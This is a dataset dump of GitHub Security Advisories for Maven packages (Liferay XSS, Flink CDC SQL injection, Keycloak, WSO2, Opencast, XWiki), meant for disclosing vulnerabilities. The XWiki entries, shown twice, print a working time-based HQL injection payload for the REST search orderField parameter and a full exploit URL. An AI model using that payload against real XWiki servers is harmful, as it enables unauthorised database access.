deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-6wwv-6mm3-pp76
Package: org.apache.streampark:streampark (MAVEN)
Severity: HIGH (CVSS 7.3)
CWE: CWE-279: Incorrect Execution-Assigned Permissions
Vulnerable versions: <= 2.1.5
Patched in: unpatched

Summary: Apache StreamPark contains an Incorrect Execution-Assigned Permissions vulnerability

Details:
Incorrect Execution-Assigned Permissions vulnerability in Apache StreamPark. This issue affects Apache StreamPark: from 2.1.4 before 2.1.6. Users are recommended to upgrade to version 2.1.6, which fixes the issue. Version 2.1.6 has yet to be published in the Maven registry.
GitHub Security Advisory: GHSA-5264-m964-7pg9
Package: com.liferay:com.liferay.calendar.web (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.45, < 5.0.88
Patched in: 5.0.88

Summary: Liferay Portal is vulnerable to XSS through its Calendar Events parameters

Details:
Multiple cross-site scripting (XSS) vulnerabilities with Calendar events in Liferay Portal 7.4.3.35 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.7, 7.4 update 35 through update 92, and 7.3 update 25 through update 36 allow remote attackers to inject arbitrary web script or HTML via a crafted payload injected into a user’s (1) First Name, (2) Middle Name or (3) Last Name text field.
GitHub Security Advisory: GHSA-rg2c-cfxv-qp6f
Package: com.fasterxml.jackson.dataformat:jackson-dataformat-toml (MAVEN)
Severity: HIGH (CVSS 8.6)
CWE: CWE-20: Improper Input Validation, CWE-400: Uncontrolled Resource Consumption, CWE-787: Out-of-bounds Write
Vulnerable versions: < 2.15.0
Patched in: 2.15.0

Summary: Denial of service in jackson-dataformat-toml

Details:
Those using jackson-dataformats-text to parse TOML data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack.
GitHub Security Advisory: GHSA-8hxp-qmph-w5gq
Package: org.keycloak:keycloak-model-storage-services (MAVEN)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable
Vulnerable versions: < 26.2.9
Patched in: unpatched

Summary: Keycloak Potential Variable Reference in Model Storage Services

Details:
A flaw was found in org.keycloak/keycloak-model-storage-service. The `KeycloakRealmImport` custom resource substitutes placeholders within imported realm documents, potentially referencing environment variables. This substitution process allows for injection attacks when crafted realm documents are processed. An attacker can leverage this to inject malicious content during the realm import procedure. This can lead to unintended consequences within the Keycloak environment.
GitHub Security Advisory: GHSA-wqm3-w3p6-xjgm
Package: org.apache.flink:flink-connector-mysql-cdc (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 3.0.0, < 3.5.0
Patched in: 3.5.0

Summary: Apache Flink CDC is vulnerable to SQL Injection through maliciously crafted identifiers

Details:
Apache Flink CDC version 3.0.0 to before 3.5.0 are vulnerable to a SQL injection via maliciously crafted identifiers eg. crafted database name or crafted table name. Even through only the logged-in database user can trigger the attack, users are recommended to update Flink CDC version to 3.5.0 which address this issue.
GitHub Security Advisory: GHSA-wqm3-w3p6-xjgm
Package: org.apache.flink:flink-connector-sqlserver-cdc (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 3.0.0, < 3.5.0
Patched in: 3.5.0

Summary: Apache Flink CDC is vulnerable to SQL Injection through maliciously crafted identifiers

Details:
Apache Flink CDC version 3.0.0 to before 3.5.0 are vulnerable to a SQL injection via maliciously crafted identifiers eg. crafted database name or crafted table name. Even through only the logged-in database user can trigger the attack, users are recommended to update Flink CDC version to 3.5.0 which address this issue.
GitHub Security Advisory: GHSA-wqm3-w3p6-xjgm
Package: org.apache.flink:flink-connector-db2-cdc (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 3.0.0, < 3.5.0
Patched in: 3.5.0

Summary: Apache Flink CDC is vulnerable to SQL Injection through maliciously crafted identifiers

Details:
Apache Flink CDC version 3.0.0 to before 3.5.0 are vulnerable to a SQL injection via maliciously crafted identifiers eg. crafted database name or crafted table name. Even through only the logged-in database user can trigger the attack, users are recommended to update Flink CDC version to 3.5.0 which address this issue.
GitHub Security Advisory: GHSA-wqm3-w3p6-xjgm
Package: org.apache.flink:flink-connector-oracle-cdc (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 3.0.0, < 3.5.0
Patched in: 3.5.0

Summary: Apache Flink CDC is vulnerable to SQL Injection through maliciously crafted identifiers

Details:
Apache Flink CDC version 3.0.0 to before 3.5.0 are vulnerable to a SQL injection via maliciously crafted identifiers eg. crafted database name or crafted table name. Even through only the logged-in database user can trigger the attack, users are recommended to update Flink CDC version to 3.5.0 which address this issue.
GitHub Security Advisory: GHSA-wqm3-w3p6-xjgm
Package: org.apache.flink:flink-cdc-pipeline-connectors (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 3.0.0, < 3.5.0
Patched in: 3.5.0

Summary: Apache Flink CDC is vulnerable to SQL Injection through maliciously crafted identifiers

Details:
Apache Flink CDC version 3.0.0 to before 3.5.0 are vulnerable to a SQL injection via maliciously crafted identifiers eg. crafted database name or crafted table name. Even through only the logged-in database user can trigger the attack, users are recommended to update Flink CDC version to 3.5.0 which address this issue.
GitHub Security Advisory: GHSA-fjrp-77f3-43xj
Package: com.liferay.commerce:com.liferay.commerce.product.service (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 6.0.5, < 6.0.134
Patched in: 6.0.134

Summary: Liferay Portal is vulnerable to XSS through its Commerce Product's Name text field

Details:
Cross-site Scripting (XSS) vulnerability in the Commerce Product Comparison Table widget in Liferay Portal 7.4.0 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, and 7.4 GA through update 92 allows remote attackers to inject arbitrary web script or HTML via a crafted payload injected into a Commerce Product's Name text field.
GitHub Security Advisory: GHSA-378f-8q54-3fqx
Package: com.liferay.portal:release.portal.bom (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 7.3.2, < 7.4.3.112-ga112
Patched in: 7.4.3.112-ga112

Summary: Liferay Portal is vulnerable to Stored XSS through Forms text type field

Details:
Stored cross-site scripting (XSS) vulnerability in Forms in Liferay Portal 7.3.2 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, 7.4 GA through update 92, and 7.3 GA through update 35 allows remote attackers to inject arbitrary web script or HTML via a crafted payload injected into a form with a rich text type field.
GitHub Security Advisory: GHSA-893r-jr58-3hxr
Package: com.liferay.commerce:com.liferay.commerce.shop.by.diagram.web (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 1.0.41, < 1.0.83
Patched in: 1.0.83

Summary: Liferay Portal Commerce Shop is vulnerable to Stored XSS through SVG file

Details:
There is a Stored Cross-Site Scripting (XSS) vulnerability in diagram type products in Commerce in Liferay Portal 7.4.3.18 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, and 7.4 update 18 through update 92. This vulnerability allows remote attackers to inject arbitrary web script or HTML via a crafted payload injected into a SVG file.
GitHub Security Advisory: GHSA-q8fj-76q7-4p7h
Package: com.liferay:com.liferay.flags.web (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 6.0.23, < 6.0.24
Patched in: 6.0.24

Summary: Liferay Portal Notifications Widget has multiple XSS vulnerabilities through various text fields

Details:
Multiple cross-site scripting (XSS) vulnerabilities in the Notifications widget in Liferay Portal 7.4.3.102 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5 and 2023.Q3.1 through 2023.Q3.10 allow remote attackers to inject arbitrary web script or HTML via a crafted payload injected into (1) a user’s “First Name” text field, (2) a user’s “Middle Name” text field, (3) a user’s “Last Name” text field, (4) the “Other Reason” text field when flagging content, or (5) the name of the flagged content.
GitHub Security Advisory: GHSA-4mqx-4p8g-995w
Package: com.liferay.portal:release.portal.bom (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 7.4.3.15, < 7.4.3.112-ga112
Patched in: 7.4.3.112-ga112

Summary: Liferay Portal has multiple Stored XSS vulnerabilities on its View Order page

Details:
Multiple stored Cross-site Scripting (XSS) vulnerabilities in Liferay Portal 7.4.3.15 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, and 7.4 update 15 through update 92 allow remote attackers to inject arbitrary web script or HTML via crafted payload injected into a Terms and Condition's Name text field to (1) Payment Terms, or (2) the Delivery Term on the view order page.
GitHub Security Advisory: GHSA-xx7h-2wf7-hc7p
Package: com.liferay.portal:release.portal.bom (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 7.4.0, < 7.4.3.112-ga112
Patched in: 7.4.3.112-ga112

Summary: Liferay Portal is vulnerable to XSS through its Commerce Search Result widget

Details:
Cross-site Scripting (XSS) vulnerability in the Commerce Search Result widget in Liferay Portal 7.4.0 through 7.4.3.111, and Liferay DXP 2023.Q4 before patch 6, 2023.Q3 before patch 9, and 7.4 GA through update 92 allows remote attackers to inject arbitrary web script or HTML via a crafted payload injected into a Commerce Product's Name text field.
GitHub Security Advisory: GHSA-8hxp-qmph-w5gq
Package: org.keycloak:keycloak-model-storage-services (MAVEN)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable
Vulnerable versions: >= 26.3.0, < 26.3.4
Patched in: 26.3.4

Summary: Keycloak Potential Variable Reference in Model Storage Services

Details:
A flaw was found in org.keycloak/keycloak-model-storage-service. The `KeycloakRealmImport` custom resource substitutes placeholders within imported realm documents, potentially referencing environment variables. This substitution process allows for injection attacks when crafted realm documents are processed. An attacker can leverage this to inject malicious content during the realm import procedure. This can lead to unintended consequences within the Keycloak environment.
GitHub Security Advisory: GHSA-m2vg-rmq6-p62r
Package: org.opencastproject:opencast-common (MAVEN)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 16.10
Patched in: unpatched

Summary: Opencast's Paella Player 7 is vulnerable to Cross-Site Scripting

Details:
Prior to Opencast 17.8 and 18.2 the paella would include and render some user inputs (metadata like title, description, etc.) unfiltered and unmodified.

### Impact

The vulnerability allows attackers to inject and malicious HTML and JavaScript in the player, which would then be executed in the browsers of users watching the prepared media. This can then be used to modify the site or to execute actions in the name of logged-in users.

To inject malicious metadata, an attacker needs write access to the system. For example, the ability to upload media and modify metadata. This cannot be exploited by unauthenticated users.

### Patches

This issue is fixed in Opencast 17.8 and 18.2, however they are not published to the Maven registry.

### Resources

- [Patch fixing the issue](https://github.com/opencast/opencast/commit/2809520fa88d108d8104c760f00c10bad42c14f9)

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [our issue tracker](https://github.com/opencast/opencast/issues)
* Email us at [security@opencast.org](mailto:security@opencast.org)
GitHub Security Advisory: GHSA-w82p-r9vw-4rg5
Package: org.wso2.carbon.identity.framework:org.wso2.carbon.identity.input.validation.mgt (MAVEN)
Severity: LOW (CVSS 3.7)
CWE: CWE-203: Observable Discrepancy
Vulnerable versions: <= 7.8.103
Patched in: unpatched

Summary: WSO2's Input Validation Management Service contains Observable Discrepancy when Multi-Attribute Login is enabled

Details:
A username enumeration vulnerability exists in multiple WSO2 products when Multi-Attribute Login is enabled. In this configuration, the system returns a distinct "User does not exist" error message to the login form, regardless of the validate_username setting. This behavior allows malicious actors to determine which usernames exist in the system based on observable discrepancies in the application's responses.

Exploitation of this vulnerability could aid in brute-force attacks, targeted phishing campaigns, or other social engineering techniques by confirming the validity of user identifiers within the system.

There is a fix available in version 7.8.491, however it has not been published to the Maven registry.
GitHub Security Advisory: GHSA-pfxj-gvqg-mj44
Package: com.liferay.portal:release.portal.bom (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 7.4.0-ga1, < 7.4.3.112-ga112
Patched in: 7.4.3.112-ga112

Summary: Liferay Profile Widget does not prevent vCard extension spoofing

Details:
The Profile Widget in Liferay Portal 7.4.0 through 7.4.3.111, and older unsupported versions, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, 7.4 GA through update 92, and older unsupported versions uses a user’s name in the “Content-Disposition” header, which allows remote authenticated users to change the file extension when a vCard file is downloaded.
GitHub Security Advisory: GHSA-cp5v-2hmc-3vjx
Package: org.wso2.carbon.identity.framework:org.wso2.carbon.identity.application.authentication.endpoint.util (MAVEN)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 5.25.707
Patched in: 5.25.707

Summary: WSO2 is vulnerable to Open Redirect through multi-option URL in its authentication endpoint

Details:
An open redirection vulnerability exists in multiple WSO2 products due to improper validation of the multi-option URL in the authentication endpoint when multi-option authentication is enabled. A malicious actor can craft a valid link that redirects users to an attacker-controlled site.

By exploiting this vulnerability, an attacker may trick users into visiting a malicious page, enabling phishing attacks to harvest sensitive information or perform other harmful actions.
GitHub Security Advisory: GHSA-cp5v-2hmc-3vjx
Package: org.wso2.carbon.identity.framework:org.wso2.carbon.identity.application.authentication.endpoint.util (MAVEN)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: >= 6.0.0, < 7.0.111
Patched in: 7.0.111

Summary: WSO2 is vulnerable to Open Redirect through multi-option URL in its authentication endpoint

Details:
An open redirection vulnerability exists in multiple WSO2 products due to improper validation of the multi-option URL in the authentication endpoint when multi-option authentication is enabled. A malicious actor can craft a valid link that redirects users to an attacker-controlled site.

By exploiting this vulnerability, an attacker may trick users into visiting a malicious page, enabling phishing attacks to harvest sensitive information or perform other harmful actions.
GitHub Security Advisory: GHSA-rggc-gf6w-9q73
Package: com.liferay:com.liferay.portal.template.freemarker (MAVEN)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-201: Insertion of Sensitive Information Into Sent Data
Vulnerable versions: >= 7.0.3, < 7.0.60
Patched in: 7.0.60

Summary: Liferay Portal exposes sensitive user data through its Freemarker template

Details:
A vulnerability in Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q1.0 through 2025.Q1.4, 2024.Q4.0 through 2024.Q4.5, 2024.Q3.0 through 2024.Q3.13, 2024.Q2.1 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 2023.Q4.0 through 2023.Q4.10, 2023.Q3.1 through 2023.Q3.10, and 7.4 GA through update 92 allows sensitive user data to be included in the Freemarker template. This weakness permits an unauthorized actor to gain access to, and potentially expose, confidential information that should remain restricted.
GitHub Security Advisory: GHSA-gprp-h92g-gc2h
Package: org.xwiki.platform:xwiki-platform-rest-server (MAVEN)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 4.3-milestone-1, < 16.10.9
Patched in: 16.10.9

Summary: XWiki Platform is vulnerable to HQL injection via wiki and space search REST API

Details:
### Impact

The REST search URL is vulnerable to HQL injection via the `orderField` parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.

For example, with the following `orderField` parameter:

```
doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName
```
See the following error:

```
QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc  where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]
```

For reference, the full URL for the above error is:

```
http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName
```

### Patches

This has been patched in 17.5.0, 17.4.2, 16.10.9.

### Workarounds

There is no known workaround, other than upgrading XWiki.

### Resources

* https://jira.xwiki.org/browse/XWIKI-23247
* https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1
* https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)
* Email us at [Security Mailing List](mailto:security@xwiki.org)
GitHub Security Advisory: GHSA-gprp-h92g-gc2h
Package: org.xwiki.platform:xwiki-platform-rest-server (MAVEN)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 17.0.0-rc-1, < 17.4.2
Patched in: 17.4.2

Summary: XWiki Platform is vulnerable to HQL injection via wiki and space search REST API

Details:
### Impact

The REST search URL is vulnerable to HQL injection via the `orderField` parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.

For example, with the following `orderField` parameter:

```
doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName
```
See the following error:

```
QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc  where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]
```

For reference, the full URL for the above error is:

```
http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName
```

### Patches

This has been patched in 17.5.0, 17.4.2, 16.10.9.

### Workarounds

There is no known workaround, other than upgrading XWiki.

### Resources

* https://jira.xwiki.org/browse/XWIKI-23247
* https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1
* https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)
* Email us at [Security Mailing List](mailto:security@xwiki.org)